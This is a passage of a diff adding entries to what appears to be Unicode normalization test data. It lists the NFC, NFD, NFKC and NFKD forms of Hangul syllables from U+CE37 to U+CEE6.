+{ source: [0xCE37], NFC: [0xCE37], NFD: [0x110E, 0x1173, 0x11BE], NFKC: [0xCE37], NFKD: [0x110E, 0x1173, 0x11BE] },
+{ source: [0xCE38], NFC: [0xCE38], NFD: [0x110E, 0x1173, 0x11BF], NFKC: [0xCE38], NFKD: [0x110E, 0x1173, 0x11BF] },
+{ source: [0xCE39], NFC: [0xCE39], NFD: [0x110E, 0x1173, 0x11C0], NFKC: [0xCE39], NFKD: [0x110E, 0x1173, 0x11C0] },
+{ source: [0xCE3A], NFC: [0xCE3A], NFD: [0x110E, 0x1173, 0x11C1], NFKC: [0xCE3A], NFKD: [0x110E, 0x1173, 0x11C1] },
+{ source: [0xCE3B], NFC: [0xCE3B], NFD: [0x110E, 0x1173, 0x11C2], NFKC: [0xCE3B], NFKD: [0x110E, 0x1173, 0x11C2] },
+{ source: [0xCE3C], NFC: [0xCE3C], NFD: [0x110E, 0x1174], NFKC: [0xCE3C], NFKD: [0x110E, 0x1174] },
+{ source: [0xCE3D], NFC: [0xCE3D], NFD: [0x110E, 0x1174, 0x11A8], NFKC: [0xCE3D], NFKD: [0x110E, 0x1174, 0x11A8] },
+{ source: [0xCE3E], NFC: [0xCE3E], NFD: [0x110E, 0x1174, 0x11A9], NFKC: [0xCE3E], NFKD: [0x110E, 0x1174, 0x11A9] },
+{ source: [0xCE3F], NFC: [0xCE3F], NFD: [0x110E, 0x1174, 0x11AA], NFKC: [0xCE3F], NFKD: [0x110E, 0x1174, 0x11AA] },
+{ source: [0xCE40], NFC: [0xCE40], NFD: [0x110E, 0x1174, 0x11AB], NFKC: [0xCE40], NFKD: [0x110E, 0x1174, 0x11AB] },
+{ source: [0xCE41], NFC: [0xCE41], NFD: [0x110E, 0x1174, 0x11AC], NFKC: [0xCE41], NFKD: [0x110E, 0x1174, 0x11AC] },
+{ source: [0xCE42], NFC: [0xCE42], NFD: [0x110E, 0x1174, 0x11AD], NFKC: [0xCE42], NFKD: [0x110E, 0x1174, 0x11AD] },
+{ source: [0xCE43], NFC: [0xCE43], NFD: [0x110E, 0x1174, 0x11AE], NFKC: [0xCE43], NFKD: [0x110E, 0x1174, 0x11AE] },
+{ source: [0xCE44], NFC: [0xCE44], NFD: [0x110E, 0x1174, 0x11AF], NFKC: [0xCE44], NFKD: [0x110E, 0x1174, 0x11AF] },
+{ source: [0xCE45], NFC: [0xCE45], NFD: [0x110E, 0x1174, 0x11B0], NFKC: [0xCE45], NFKD: [0x110E, 0x1174, 0x11B0] },
+{ source: [0xCE46], NFC: [0xCE46], NFD: [0x110E, 0x1174, 0x11B1], NFKC: [0xCE46], NFKD: [0x110E, 0x1174, 0x11B1] },
+{ source: [0xCE47], NFC: [0xCE47], NFD: [0x110E, 0x1174, 0x11B2], NFKC: [0xCE47], NFKD: [0x110E, 0x1174, 0x11B2] },
+{ source: [0xCE48], NFC: [0xCE48], NFD: [0x110E, 0x1174, 0x11B3], NFKC: [0xCE48], NFKD: [0x110E, 0x1174, 0x11B3] },
+{ source: [0xCE49], NFC: [0xCE49], NFD: [0x110E, 0x1174, 0x11B4], NFKC: [0xCE49], NFKD: [0x110E, 0x1174, 0x11B4] },
+{ source: [0xCE4A], NFC: [0xCE4A], NFD: [0x110E, 0x1174, 0x11B5], NFKC: [0xCE4A], NFKD: [0x110E, 0x1174, 0x11B5] },
+{ source: [0xCE4B], NFC: [0xCE4B], NFD: [0x110E, 0x1174, 0x11B6], NFKC: [0xCE4B], NFKD: [0x110E, 0x1174, 0x11B6] },
+{ source: [0xCE4C], NFC: [0xCE4C], NFD: [0x110E, 0x1174, 0x11B7], NFKC: [0xCE4C], NFKD: [0x110E, 0x1174, 0x11B7] },
+{ source: [0xCE4D], NFC: [0xCE4D], NFD: [0x110E, 0x1174, 0x11B8], NFKC: [0xCE4D], NFKD: [0x110E, 0x1174, 0x11B8] },
+{ source: [0xCE4E], NFC: [0xCE4E], NFD: [0x110E, 0x1174, 0x11B9], NFKC: [0xCE4E], NFKD: [0x110E, 0x1174, 0x11B9] },
+{ source: [0xCE4F], NFC: [0xCE4F], NFD: [0x110E, 0x1174, 0x11BA], NFKC: [0xCE4F], NFKD: [0x110E, 0x1174, 0x11BA] },
+{ source: [0xCE50], NFC: [0xCE50], NFD: [0x110E, 0x1174, 0x11BB], NFKC: [0xCE50], NFKD: [0x110E, 0x1174, 0x11BB] },
+{ source: [0xCE51], NFC: [0xCE51], NFD: [0x110E, 0x1174, 0x11BC], NFKC: [0xCE51], NFKD: [0x110E, 0x1174, 0x11BC] },
+{ source: [0xCE52], NFC: [0xCE52], NFD: [0x110E, 0x1174, 0x11BD], NFKC: [0xCE52], NFKD: [0x110E, 0x1174, 0x11BD] },
+{ source: [0xCE53], NFC: [0xCE53], NFD: [0x110E, 0x1174, 0x11BE], NFKC: [0xCE53], NFKD: [0x110E, 0x1174, 0x11BE] },
+{ source: [0xCE54], NFC: [0xCE54], NFD: [0x110E, 0x1174, 0x11BF], NFKC: [0xCE54], NFKD: [0x110E, 0x1174, 0x11BF] },
+{ source: [0xCE55], NFC: [0xCE55], NFD: [0x110E, 0x1174, 0x11C0], NFKC: [0xCE55], NFKD: [0x110E, 0x1174, 0x11C0] },
+{ source: [0xCE56], NFC: [0xCE56], NFD: [0x110E, 0x1174, 0x11C1], NFKC: [0xCE56], NFKD: [0x110E, 0x1174, 0x11C1] },
+{ source: [0xCE57], NFC: [0xCE57], NFD: [0x110E, 0x1174, 0x11C2], NFKC: [0xCE57], NFKD: [0x110E, 0x1174, 0x11C2] },
+{ source: [0xCE58], NFC: [0xCE58], NFD: [0x110E, 0x1175], NFKC: [0xCE58], NFKD: [0x110E, 0x1175] },
+{ source: [0xCE59], NFC: [0xCE59], NFD: [0x110E, 0x1175, 0x11A8], NFKC: [0xCE59], NFKD: [0x110E, 0x1175, 0x11A8] },
+{ source: [0xCE5A], NFC: [0xCE5A], NFD: [0x110E, 0x1175, 0x11A9], NFKC: [0xCE5A], NFKD: [0x110E, 0x1175, 0x11A9] },
+{ source: [0xCE5B], NFC: [0xCE5B], NFD: [0x110E, 0x1175, 0x11AA], NFKC: [0xCE5B], NFKD: [0x110E, 0x1175, 0x11AA] },
+{ source: [0xCE5C], NFC: [0xCE5C], NFD: [0x110E, 0x1175, 0x11AB], NFKC: [0xCE5C], NFKD: [0x110E, 0x1175, 0x11AB] },
+{ source: [0xCE5D], NFC: [0xCE5D], NFD: [0x110E, 0x1175, 0x11AC], NFKC: [0xCE5D], NFKD: [0x110E, 0x1175, 0x11AC] },
+{ source: [0xCE5E], NFC: [0xCE5E], NFD: [0x110E, 0x1175, 0x11AD], NFKC: [0xCE5E], NFKD: [0x110E, 0x1175, 0x11AD] },
+{ source: [0xCE5F], NFC: [0xCE5F], NFD: [0x110E, 0x1175, 0x11AE], NFKC: [0xCE5F], NFKD: [0x110E, 0x1175, 0x11AE] },
+{ source: [0xCE60], NFC: [0xCE60], NFD: [0x110E, 0x1175, 0x11AF], NFKC: [0xCE60], NFKD: [0x110E, 0x1175, 0x11AF] },
+{ source: [0xCE61], NFC: [0xCE61], NFD: [0x110E, 0x1175, 0x11B0], NFKC: [0xCE61], NFKD: [0x110E, 0x1175, 0x11B0] },
+{ source: [0xCE62], NFC: [0xCE62], NFD: [0x110E, 0x1175, 0x11B1], NFKC: [0xCE62], NFKD: [0x110E, 0x1175, 0x11B1] },
+{ source: [0xCE63], NFC: [0xCE63], NFD: [0x110E, 0x1175, 0x11B2], NFKC: [0xCE63], NFKD: [0x110E, 0x1175, 0x11B2] },
+{ source: [0xCE64], NFC: [0xCE64], NFD: [0x110E, 0x1175, 0x11B3], NFKC: [0xCE64], NFKD: [0x110E, 0x1175, 0x11B3] },
+{ source: [0xCE65], NFC: [0xCE65], NFD: [0x110E, 0x1175, 0x11B4], NFKC: [0xCE65], NFKD: [0x110E, 0x1175, 0x11B4] },
+{ source: [0xCE66], NFC: [0xCE66], NFD: [0x110E, 0x1175, 0x11B5], NFKC: [0xCE66], NFKD: [0x110E, 0x1175, 0x11B5] },
+{ source: [0xCE67], NFC: [0xCE67], NFD: [0x110E, 0x1175, 0x11B6], NFKC: [0xCE67], NFKD: [0x110E, 0x1175, 0x11B6] },
+{ source: [0xCE68], NFC: [0xCE68], NFD: [0x110E, 0x1175, 0x11B7], NFKC: [0xCE68], NFKD: [0x110E, 0x1175, 0x11B7] },
+{ source: [0xCE69], NFC: [0xCE69], NFD: [0x110E, 0x1175, 0x11B8], NFKC: [0xCE69], NFKD: [0x110E, 0x1175, 0x11B8] },
+{ source: [0xCE6A], NFC: [0xCE6A], NFD: [0x110E, 0x1175, 0x11B9], NFKC: [0xCE6A], NFKD: [0x110E, 0x1175, 0x11B9] },
+{ source: [0xCE6B], NFC: [0xCE6B], NFD: [0x110E, 0x1175, 0x11BA], NFKC: [0xCE6B], NFKD: [0x110E, 0x1175, 0x11BA] },
+{ source: [0xCE6C], NFC: [0xCE6C], NFD: [0x110E, 0x1175, 0x11BB], NFKC: [0xCE6C], NFKD: [0x110E, 0x1175, 0x11BB] },
+{ source: [0xCE6D], NFC: [0xCE6D], NFD: [0x110E, 0x1175, 0x11BC], NFKC: [0xCE6D], NFKD: [0x110E, 0x1175, 0x11BC] },
+{ source: [0xCE6E], NFC: [0xCE6E], NFD: [0x110E, 0x1175, 0x11BD], NFKC: [0xCE6E], NFKD: [0x110E, 0x1175, 0x11BD] },
+{ source: [0xCE6F], NFC: [0xCE6F], NFD: [0x110E, 0x1175, 0x11BE], NFKC: [0xCE6F], NFKD: [0x110E, 0x1175, 0x11BE] },
+{ source: [0xCE70], NFC: [0xCE70], NFD: [0x110E, 0x1175, 0x11BF], NFKC: [0xCE70], NFKD: [0x110E, 0x1175, 0x11BF] },
+{ source: [0xCE71], NFC: [0xCE71], NFD: [0x110E, 0x1175, 0x11C0], NFKC: [0xCE71], NFKD: [0x110E, 0x1175, 0x11C0] },
+{ source: [0xCE72], NFC: [0xCE72], NFD: [0x110E, 0x1175, 0x11C1], NFKC: [0xCE72], NFKD: [0x110E, 0x1175, 0x11C1] },
+{ source: [0xCE73], NFC: [0xCE73], NFD: [0x110E, 0x1175, 0x11C2], NFKC: [0xCE73], NFKD: [0x110E, 0x1175, 0x11C2] },
+{ source: [0xCE74], NFC: [0xCE74], NFD: [0x110F, 0x1161], NFKC: [0xCE74], NFKD: [0x110F, 0x1161] },
+{ source: [0xCE75], NFC: [0xCE75], NFD: [0x110F, 0x1161, 0x11A8], NFKC: [0xCE75], NFKD: [0x110F, 0x1161, 0x11A8] },
+{ source: [0xCE76], NFC: [0xCE76], NFD: [0x110F, 0x1161, 0x11A9], NFKC: [0xCE76], NFKD: [0x110F, 0x1161, 0x11A9] },
+{ source: [0xCE77], NFC: [0xCE77], NFD: [0x110F, 0x1161, 0x11AA], NFKC: [0xCE77], NFKD: [0x110F, 0x1161, 0x11AA] },
+{ source: [0xCE78], NFC: [0xCE78], NFD: [0x110F, 0x1161, 0x11AB], NFKC: [0xCE78], NFKD: [0x110F, 0x1161, 0x11AB] },
+{ source: [0xCE79], NFC: [0xCE79], NFD: [0x110F, 0x1161, 0x11AC], NFKC: [0xCE79], NFKD: [0x110F, 0x1161, 0x11AC] },
+{ source: [0xCE7A], NFC: [0xCE7A], NFD: [0x110F, 0x1161, 0x11AD], NFKC: [0xCE7A], NFKD: [0x110F, 0x1161, 0x11AD] },
+{ source: [0xCE7B], NFC: [0xCE7B], NFD: [0x110F, 0x1161, 0x11AE], NFKC: [0xCE7B], NFKD: [0x110F, 0x1161, 0x11AE] },
+{ source: [0xCE7C], NFC: [0xCE7C], NFD: [0x110F, 0x1161, 0x11AF], NFKC: [0xCE7C], NFKD: [0x110F, 0x1161, 0x11AF] },
+{ source: [0xCE7D], NFC: [0xCE7D], NFD: [0x110F, 0x1161, 0x11B0], NFKC: [0xCE7D], NFKD: [0x110F, 0x1161, 0x11B0] },
+{ source: [0xCE7E], NFC: [0xCE7E], NFD: [0x110F, 0x1161, 0x11B1], NFKC: [0xCE7E], NFKD: [0x110F, 0x1161, 0x11B1] },
+{ source: [0xCE7F], NFC: [0xCE7F], NFD: [0x110F, 0x1161, 0x11B2], NFKC: [0xCE7F], NFKD: [0x110F, 0x1161, 0x11B2] },
+{ source: [0xCE80], NFC: [0xCE80], NFD: [0x110F, 0x1161, 0x11B3], NFKC: [0xCE80], NFKD: [0x110F, 0x1161, 0x11B3] },
+{ source: [0xCE81], NFC: [0xCE81], NFD: [0x110F, 0x1161, 0x11B4], NFKC: [0xCE81], NFKD: [0x110F, 0x1161, 0x11B4] },
+{ source: [0xCE82], NFC: [0xCE82], NFD: [0x110F, 0x1161, 0x11B5], NFKC: [0xCE82], NFKD: [0x110F, 0x1161, 0x11B5] },
+{ source: [0xCE83], NFC: [0xCE83], NFD: [0x110F, 0x1161, 0x11B6], NFKC: [0xCE83], NFKD: [0x110F, 0x1161, 0x11B6] },
+{ source: [0xCE84], NFC: [0xCE84], NFD: [0x110F, 0x1161, 0x11B7], NFKC: [0xCE84], NFKD: [0x110F, 0x1161, 0x11B7] },
+{ source: [0xCE85], NFC: [0xCE85], NFD: [0x110F, 0x1161, 0x11B8], NFKC: [0xCE85], NFKD: [0x110F, 0x1161, 0x11B8] },
+{ source: [0xCE86], NFC: [0xCE86], NFD: [0x110F, 0x1161, 0x11B9], NFKC: [0xCE86], NFKD: [0x110F, 0x1161, 0x11B9] },
+{ source: [0xCE87], NFC: [0xCE87], NFD: [0x110F, 0x1161, 0x11BA], NFKC: [0xCE87], NFKD: [0x110F, 0x1161, 0x11BA] },
+{ source: [0xCE88], NFC: [0xCE88], NFD: [0x110F, 0x1161, 0x11BB], NFKC: [0xCE88], NFKD: [0x110F, 0x1161, 0x11BB] },
+{ source: [0xCE89], NFC: [0xCE89], NFD: [0x110F, 0x1161, 0x11BC], NFKC: [0xCE89], NFKD: [0x110F, 0x1161, 0x11BC] },
+{ source: [0xCE8A], NFC: [0xCE8A], NFD: [0x110F, 0x1161, 0x11BD], NFKC: [0xCE8A], NFKD: [0x110F, 0x1161, 0x11BD] },
+{ source: [0xCE8B], NFC: [0xCE8B], NFD: [0x110F, 0x1161, 0x11BE], NFKC: [0xCE8B], NFKD: [0x110F, 0x1161, 0x11BE] },
+{ source: [0xCE8C], NFC: [0xCE8C], NFD: [0x110F, 0x1161, 0x11BF], NFKC: [0xCE8C], NFKD: [0x110F, 0x1161, 0x11BF] },
+{ source: [0xCE8D], NFC: [0xCE8D], NFD: [0x110F, 0x1161, 0x11C0], NFKC: [0xCE8D], NFKD: [0x110F, 0x1161, 0x11C0] },
+{ source: [0xCE8E], NFC: [0xCE8E], NFD: [0x110F, 0x1161, 0x11C1], NFKC: [0xCE8E], NFKD: [0x110F, 0x1161, 0x11C1] },
+{ source: [0xCE8F], NFC: [0xCE8F], NFD: [0x110F, 0x1161, 0x11C2], NFKC: [0xCE8F], NFKD: [0x110F, 0x1161, 0x11C2] },
+{ source: [0xCE90], NFC: [0xCE90], NFD: [0x110F, 0x1162], NFKC: [0xCE90], NFKD: [0x110F, 0x1162] },
+{ source: [0xCE91], NFC: [0xCE91], NFD: [0x110F, 0x1162, 0x11A8], NFKC: [0xCE91], NFKD: [0x110F, 0x1162, 0x11A8] },
+{ source: [0xCE92], NFC: [0xCE92], NFD: [0x110F, 0x1162, 0x11A9], NFKC: [0xCE92], NFKD: [0x110F, 0x1162, 0x11A9] },
+{ source: [0xCE93], NFC: [0xCE93], NFD: [0x110F, 0x1162, 0x11AA], NFKC: [0xCE93], NFKD: [0x110F, 0x1162, 0x11AA] },
+{ source: [0xCE94], NFC: [0xCE94], NFD: [0x110F, 0x1162, 0x11AB], NFKC: [0xCE94], NFKD: [0x110F, 0x1162, 0x11AB] },
+{ source: [0xCE95], NFC: [0xCE95], NFD: [0x110F, 0x1162, 0x11AC], NFKC: [0xCE95], NFKD: [0x110F, 0x1162, 0x11AC] },
+{ source: [0xCE96], NFC: [0xCE96], NFD: [0x110F, 0x1162, 0x11AD], NFKC: [0xCE96], NFKD: [0x110F, 0x1162, 0x11AD] },
+{ source: [0xCE97], NFC: [0xCE97], NFD: [0x110F, 0x1162, 0x11AE], NFKC: [0xCE97], NFKD: [0x110F, 0x1162, 0x11AE] },
+{ source: [0xCE98], NFC: [0xCE98], NFD: [0x110F, 0x1162, 0x11AF], NFKC: [0xCE98], NFKD: [0x110F, 0x1162, 0x11AF] },
+{ source: [0xCE99], NFC: [0xCE99], NFD: [0x110F, 0x1162, 0x11B0], NFKC: [0xCE99], NFKD: [0x110F, 0x1162, 0x11B0] },
+{ source: [0xCE9A], NFC: [0xCE9A], NFD: [0x110F, 0x1162, 0x11B1], NFKC: [0xCE9A], NFKD: [0x110F, 0x1162, 0x11B1] },
+{ source: [0xCE9B], NFC: [0xCE9B], NFD: [0x110F, 0x1162, 0x11B2], NFKC: [0xCE9B], NFKD: [0x110F, 0x1162, 0x11B2] },
+{ source: [0xCE9C], NFC: [0xCE9C], NFD: [0x110F, 0x1162, 0x11B3], NFKC: [0xCE9C], NFKD: [0x110F, 0x1162, 0x11B3] },
+{ source: [0xCE9D], NFC: [0xCE9D], NFD: [0x110F, 0x1162, 0x11B4], NFKC: [0xCE9D], NFKD: [0x110F, 0x1162, 0x11B4] },
+{ source: [0xCE9E], NFC: [0xCE9E], NFD: [0x110F, 0x1162, 0x11B5], NFKC: [0xCE9E], NFKD: [0x110F, 0x1162, 0x11B5] },
+{ source: [0xCE9F], NFC: [0xCE9F], NFD: [0x110F, 0x1162, 0x11B6], NFKC: [0xCE9F], NFKD: [0x110F, 0x1162, 0x11B6] },
+{ source: [0xCEA0], NFC: [0xCEA0], NFD: [0x110F, 0x1162, 0x11B7], NFKC: [0xCEA0], NFKD: [0x110F, 0x1162, 0x11B7] },
+{ source: [0xCEA1], NFC: [0xCEA1], NFD: [0x110F, 0x1162, 0x11B8], NFKC: [0xCEA1], NFKD: [0x110F, 0x1162, 0x11B8] },
+{ source: [0xCEA2], NFC: [0xCEA2], NFD: [0x110F, 0x1162, 0x11B9], NFKC: [0xCEA2], NFKD: [0x110F, 0x1162, 0x11B9] },
+{ source: [0xCEA3], NFC: [0xCEA3], NFD: [0x110F, 0x1162, 0x11BA], NFKC: [0xCEA3], NFKD: [0x110F, 0x1162, 0x11BA] },
+{ source: [0xCEA4], NFC: [0xCEA4], NFD: [0x110F, 0x1162, 0x11BB], NFKC: [0xCEA4], NFKD: [0x110F, 0x1162, 0x11BB] },
+{ source: [0xCEA5], NFC: [0xCEA5], NFD: [0x110F, 0x1162, 0x11BC], NFKC: [0xCEA5], NFKD: [0x110F, 0x1162, 0x11BC] },
+{ source: [0xCEA6], NFC: [0xCEA6], NFD: [0x110F, 0x1162, 0x11BD], NFKC: [0xCEA6], NFKD: [0x110F, 0x1162, 0x11BD] },
+{ source: [0xCEA7], NFC: [0xCEA7], NFD: [0x110F, 0x1162, 0x11BE], NFKC: [0xCEA7], NFKD: [0x110F, 0x1162, 0x11BE] },
+{ source: [0xCEA8], NFC: [0xCEA8], NFD: [0x110F, 0x1162, 0x11BF], NFKC: [0xCEA8], NFKD: [0x110F, 0x1162, 0x11BF] },
+{ source: [0xCEA9], NFC: [0xCEA9], NFD: [0x110F, 0x1162, 0x11C0], NFKC: [0xCEA9], NFKD: [0x110F, 0x1162, 0x11C0] },
+{ source: [0xCEAA], NFC: [0xCEAA], NFD: [0x110F, 0x1162, 0x11C1], NFKC: [0xCEAA], NFKD: [0x110F, 0x1162, 0x11C1] },
+{ source: [0xCEAB], NFC: [0xCEAB], NFD: [0x110F, 0x1162, 0x11C2], NFKC: [0xCEAB], NFKD: [0x110F, 0x1162, 0x11C2] },
+{ source: [0xCEAC], NFC: [0xCEAC], NFD: [0x110F, 0x1163], NFKC: [0xCEAC], NFKD: [0x110F, 0x1163] },
+{ source: [0xCEAD], NFC: [0xCEAD], NFD: [0x110F, 0x1163, 0x11A8], NFKC: [0xCEAD], NFKD: [0x110F, 0x1163, 0x11A8] },
+{ source: [0xCEAE], NFC: [0xCEAE], NFD: [0x110F, 0x1163, 0x11A9], NFKC: [0xCEAE], NFKD: [0x110F, 0x1163, 0x11A9] },
+{ source: [0xCEAF], NFC: [0xCEAF], NFD: [0x110F, 0x1163, 0x11AA], NFKC: [0xCEAF], NFKD: [0x110F, 0x1163, 0x11AA] },
+{ source: [0xCEB0], NFC: [0xCEB0], NFD: [0x110F, 0x1163, 0x11AB], NFKC: [0xCEB0], NFKD: [0x110F, 0x1163, 0x11AB] },
+{ source: [0xCEB1], NFC: [0xCEB1], NFD: [0x110F, 0x1163, 0x11AC], NFKC: [0xCEB1], NFKD: [0x110F, 0x1163, 0x11AC] },
+{ source: [0xCEB2], NFC: [0xCEB2], NFD: [0x110F, 0x1163, 0x11AD], NFKC: [0xCEB2], NFKD: [0x110F, 0x1163, 0x11AD] },
+{ source: [0xCEB3], NFC: [0xCEB3], NFD: [0x110F, 0x1163, 0x11AE], NFKC: [0xCEB3], NFKD: [0x110F, 0x1163, 0x11AE] },
+{ source: [0xCEB4], NFC: [0xCEB4], NFD: [0x110F, 0x1163, 0x11AF], NFKC: [0xCEB4], NFKD: [0x110F, 0x1163, 0x11AF] },
+{ source: [0xCEB5], NFC: [0xCEB5], NFD: [0x110F, 0x1163, 0x11B0], NFKC: [0xCEB5], NFKD: [0x110F, 0x1163, 0x11B0] },
+{ source: [0xCEB6], NFC: [0xCEB6], NFD: [0x110F, 0x1163, 0x11B1], NFKC: [0xCEB6], NFKD: [0x110F, 0x1163, 0x11B1] },
+{ source: [0xCEB7], NFC: [0xCEB7], NFD: [0x110F, 0x1163, 0x11B2], NFKC: [0xCEB7], NFKD: [0x110F, 0x1163, 0x11B2] },
+{ source: [0xCEB8], NFC: [0xCEB8], NFD: [0x110F, 0x1163, 0x11B3], NFKC: [0xCEB8], NFKD: [0x110F, 0x1163, 0x11B3] },
+{ source: [0xCEB9], NFC: [0xCEB9], NFD: [0x110F, 0x1163, 0x11B4], NFKC: [0xCEB9], NFKD: [0x110F, 0x1163, 0x11B4] },
+{ source: [0xCEBA], NFC: [0xCEBA], NFD: [0x110F, 0x1163, 0x11B5], NFKC: [0xCEBA], NFKD: [0x110F, 0x1163, 0x11B5] },
+{ source: [0xCEBB], NFC: [0xCEBB], NFD: [0x110F, 0x1163, 0x11B6], NFKC: [0xCEBB], NFKD: [0x110F, 0x1163, 0x11B6] },
+{ source: [0xCEBC], NFC: [0xCEBC], NFD: [0x110F, 0x1163, 0x11B7], NFKC: [0xCEBC], NFKD: [0x110F, 0x1163, 0x11B7] },
+{ source: [0xCEBD], NFC: [0xCEBD], NFD: [0x110F, 0x1163, 0x11B8], NFKC: [0xCEBD], NFKD: [0x110F, 0x1163, 0x11B8] },
+{ source: [0xCEBE], NFC: [0xCEBE], NFD: [0x110F, 0x1163, 0x11B9], NFKC: [0xCEBE], NFKD: [0x110F, 0x1163, 0x11B9] },
+{ source: [0xCEBF], NFC: [0xCEBF], NFD: [0x110F, 0x1163, 0x11BA], NFKC: [0xCEBF], NFKD: [0x110F, 0x1163, 0x11BA] },
+{ source: [0xCEC0], NFC: [0xCEC0], NFD: [0x110F, 0x1163, 0x11BB], NFKC: [0xCEC0], NFKD: [0x110F, 0x1163, 0x11BB] },
+{ source: [0xCEC1], NFC: [0xCEC1], NFD: [0x110F, 0x1163, 0x11BC], NFKC: [0xCEC1], NFKD: [0x110F, 0x1163, 0x11BC] },
+{ source: [0xCEC2], NFC: [0xCEC2], NFD: [0x110F, 0x1163, 0x11BD], NFKC: [0xCEC2], NFKD: [0x110F, 0x1163, 0x11BD] },
+{ source: [0xCEC3], NFC: [0xCEC3], NFD: [0x110F, 0x1163, 0x11BE], NFKC: [0xCEC3], NFKD: [0x110F, 0x1163, 0x11BE] },
+{ source: [0xCEC4], NFC: [0xCEC4], NFD: [0x110F, 0x1163, 0x11BF], NFKC: [0xCEC4], NFKD: [0x110F, 0x1163, 0x11BF] },
+{ source: [0xCEC5], NFC: [0xCEC5], NFD: [0x110F, 0x1163, 0x11C0], NFKC: [0xCEC5], NFKD: [0x110F, 0x1163, 0x11C0] },
+{ source: [0xCEC6], NFC: [0xCEC6], NFD: [0x110F, 0x1163, 0x11C1], NFKC: [0xCEC6], NFKD: [0x110F, 0x1163, 0x11C1] },
+{ source: [0xCEC7], NFC: [0xCEC7], NFD: [0x110F, 0x1163, 0x11C2], NFKC: [0xCEC7], NFKD: [0x110F, 0x1163, 0x11C2] },
+{ source: [0xCEC8], NFC: [0xCEC8], NFD: [0x110F, 0x1164], NFKC: [0xCEC8], NFKD: [0x110F, 0x1164] },
+{ source: [0xCEC9], NFC: [0xCEC9], NFD: [0x110F, 0x1164, 0x11A8], NFKC: [0xCEC9], NFKD: [0x110F, 0x1164, 0x11A8] },
+{ source: [0xCECA], NFC: [0xCECA], NFD: [0x110F, 0x1164, 0x11A9], NFKC: [0xCECA], NFKD: [0x110F, 0x1164, 0x11A9] },
+{ source: [0xCECB], NFC: [0xCECB], NFD: [0x110F, 0x1164, 0x11AA], NFKC: [0xCECB], NFKD: [0x110F, 0x1164, 0x11AA] },
+{ source: [0xCECC], NFC: [0xCECC], NFD: [0x110F, 0x1164, 0x11AB], NFKC: [0xCECC], NFKD: [0x110F, 0x1164, 0x11AB] },
+{ source: [0xCECD], NFC: [0xCECD], NFD: [0x110F, 0x1164, 0x11AC], NFKC: [0xCECD], NFKD: [0x110F, 0x1164, 0x11AC] },
+{ source: [0xCECE], NFC: [0xCECE], NFD: [0x110F, 0x1164, 0x11AD], NFKC: [0xCECE], NFKD: [0x110F, 0x1164, 0x11AD] },
+{ source: [0xCECF], NFC: [0xCECF], NFD: [0x110F, 0x1164, 0x11AE], NFKC: [0xCECF], NFKD: [0x110F, 0x1164, 0x11AE] },
+{ source: [0xCED0], NFC: [0xCED0], NFD: [0x110F, 0x1164, 0x11AF], NFKC: [0xCED0], NFKD: [0x110F, 0x1164, 0x11AF] },
+{ source: [0xCED1], NFC: [0xCED1], NFD: [0x110F, 0x1164, 0x11B0], NFKC: [0xCED1], NFKD: [0x110F, 0x1164, 0x11B0] },
+{ source: [0xCED2], NFC: [0xCED2], NFD: [0x110F, 0x1164, 0x11B1], NFKC: [0xCED2], NFKD: [0x110F, 0x1164, 0x11B1] },
+{ source: [0xCED3], NFC: [0xCED3], NFD: [0x110F, 0x1164, 0x11B2], NFKC: [0xCED3], NFKD: [0x110F, 0x1164, 0x11B2] },
+{ source: [0xCED4], NFC: [0xCED4], NFD: [0x110F, 0x1164, 0x11B3], NFKC: [0xCED4], NFKD: [0x110F, 0x1164, 0x11B3] },
+{ source: [0xCED5], NFC: [0xCED5], NFD: [0x110F, 0x1164, 0x11B4], NFKC: [0xCED5], NFKD: [0x110F, 0x1164, 0x11B4] },
+{ source: [0xCED6], NFC: [0xCED6], NFD: [0x110F, 0x1164, 0x11B5], NFKC: [0xCED6], NFKD: [0x110F, 0x1164, 0x11B5] },
+{ source: [0xCED7], NFC: [0xCED7], NFD: [0x110F, 0x1164, 0x11B6], NFKC: [0xCED7], NFKD: [0x110F, 0x1164, 0x11B6] },
+{ source: [0xCED8], NFC: [0xCED8], NFD: [0x110F, 0x1164, 0x11B7], NFKC: [0xCED8], NFKD: [0x110F, 0x1164, 0x11B7] },
+{ source: [0xCED9], NFC: [0xCED9], NFD: [0x110F, 0x1164, 0x11B8], NFKC: [0xCED9], NFKD: [0x110F, 0x1164, 0x11B8] },
+{ source: [0xCEDA], NFC: [0xCEDA], NFD: [0x110F, 0x1164, 0x11B9], NFKC: [0xCEDA], NFKD: [0x110F, 0x1164, 0x11B9] },
+{ source: [0xCEDB], NFC: [0xCEDB], NFD: [0x110F, 0x1164, 0x11BA], NFKC: [0xCEDB], NFKD: [0x110F, 0x1164, 0x11BA] },
+{ source: [0xCEDC], NFC: [0xCEDC], NFD: [0x110F, 0x1164, 0x11BB], NFKC: [0xCEDC], NFKD: [0x110F, 0x1164, 0x11BB] },
+{ source: [0xCEDD], NFC: [0xCEDD], NFD: [0x110F, 0x1164, 0x11BC], NFKC: [0xCEDD], NFKD: [0x110F, 0x1164, 0x11BC] },
+{ source: [0xCEDE], NFC: [0xCEDE], NFD: [0x110F, 0x1164, 0x11BD], NFKC: [0xCEDE], NFKD: [0x110F, 0x1164, 0x11BD] },
+{ source: [0xCEDF], NFC: [0xCEDF], NFD: [0x110F, 0x1164, 0x11BE], NFKC: [0xCEDF], NFKD: [0x110F, 0x1164, 0x11BE] },
+{ source: [0xCEE0], NFC: [0xCEE0], NFD: [0x110F, 0x1164, 0x11BF], NFKC: [0xCEE0], NFKD: [0x110F, 0x1164, 0x11BF] },
+{ source: [0xCEE1], NFC: [0xCEE1], NFD: [0x110F, 0x1164, 0x11C0], NFKC: [0xCEE1], NFKD: [0x110F, 0x1164, 0x11C0] },
+{ source: [0xCEE2], NFC: [0xCEE2], NFD: [0x110F, 0x1164, 0x11C1], NFKC: [0xCEE2], NFKD: [0x110F, 0x1164, 0x11C1] },
+{ source: [0xCEE3], NFC: [0xCEE3], NFD: [0x110F, 0x1164, 0x11C2], NFKC: [0xCEE3], NFKD: [0x110F, 0x1164, 0x11C2] },
+{ source: [0xCEE4], NFC: [0xCEE4], NFD: [0x110F, 0x1165], NFKC: [0xCEE4], NFKD: [0x110F, 0x1165] },
+{ source: [0xCEE5], NFC: [0xCEE5], NFD: [0x110F, 0x1165, 0x11A8], NFKC: [0xCEE5], NFKD: [0x110F, 0x1165, 0x11A8] },
+{ source: [0xCEE6], NFC: [0xCEE6], NFD: [0x110F, 0x1165, 0x11A9], NFKC: [0xCEE6], NFKD: [0x110F, 0x1165, 0x11A9] },
